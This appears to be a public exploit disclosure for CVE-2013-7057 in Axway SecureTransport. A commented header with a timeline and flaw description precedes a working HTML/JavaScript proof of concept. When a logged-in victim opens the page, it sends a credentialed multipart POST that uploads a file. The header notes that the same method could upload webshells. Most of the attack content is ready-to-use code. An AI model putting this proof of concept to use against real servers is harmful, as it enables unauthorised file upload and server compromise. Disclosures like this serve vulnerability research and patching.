<!--
# Exploit Title: Axway Secure Transport 5.1 SP2 Arbitary File Upload via CSRF
# Exploit author: Emmanuel Law
# Public Disclosure Date : 20/10/14
# Vendor homepage: http://www.axway.com
# Affected Software version: Axway Secure Transport 5.2.1 SP2 and possibly earlier versions.
# CVE: CVE-2013-7057
Software Description:
=====================
Axway SecureTransport is a multi-protocol Managed File Transfer (MFT) gateway solution that enables organizations to secure, manage, and track the transfer of files inside and outside the enterprise firewall.
Vulnerability Description:
=====================
It is possible to conduct CSRF on a user to upload arbitary files on the Axway Secure Transport server. This is due to the lack of anti-CSRF tokens in the web API. An adversary may exploit this to upload webshells for further attacks.
Vulnerability Disclosure Timeline:
==================================
12/12/13 - Discovered vulnerability and notified Vendor
17/10/14 - Verified with Vendor that a patch has been released.
20/10/14 - Public disclosure
Steps to reproduce / PoC:
=========================
-->
<html>
<!-- CSRF PoC to upload file to sftp.example.org- -->
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://sftp.example.org/api/v1.0/files/", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------19278872527677784281970288330");
xhr.withCredentials = true;
var body = "-----------------------------19278872527677784281970288330\r\n" +
"Content-Disposition: form-data; name=\"upload[]\"; filename=\"AURA_TEST.randomExtension\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"FILEDATA\r\n" +
"-----------------------------19278872527677784281970288330--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
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